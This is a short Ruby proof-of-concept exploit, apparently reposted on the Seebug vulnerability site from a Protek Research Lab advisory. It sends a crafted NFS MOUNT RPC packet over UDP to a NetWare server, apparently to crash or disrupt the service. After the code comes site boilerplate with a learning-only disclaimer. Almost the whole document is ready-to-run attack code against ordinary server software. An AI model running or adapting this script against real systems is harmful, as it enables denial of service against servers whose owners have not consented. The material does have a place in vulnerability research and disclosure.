#!/usr/bin/ruby # Source: # http://www.protekresearchlab.com/index.php?option=com_content&view=article&id=24&Itemid=24 require 'socket' netware_server = (ARGV[0]) target_port = (ARGV[1] || 1234) beepbeep= "\x1c\xd1\xef\xab" + # XID "\x00\x00\x00\x00" + # Message Type: Call (0) "\x00\x00\x00\x02" + # RPC Version: 2 "\x00\x01\x86\xa5" + # Program: 10005 MOUNT "\x00\x00\x00\x02" + # Program Version: 2 "\x00\x00\x00\x01" + # Procedure: MNT (1) "\x00\x00\x00\x00\x00\x00\x00\x00" + # "\x00\x00\x00\x00\x00\x00\x00\x00" + #Verifier NULL "\x41\x42\x43\x44" puts "[+] beep beep\n" puts "[+]No, it's not the road runner\n" if (!(netware_server && target_port)) puts "Usage: PRL-2011-04.rb host port (default port: 1234)\n" exit else puts "[+]Sending UDP Packet...\n" sock = UDPSocket.open sock.connect(netware_server, target_port.to_i) sock.send(beepbeep, 0) end
※本站提供的任何内容、代码与服务仅供学习,请勿用于非法用途,否则后果自负
您的会员可兑换次数还剩: 次 本次兑换将消耗 1 次
续费请拨打客服热线,感谢您一直支持 Seebug!
暂无评论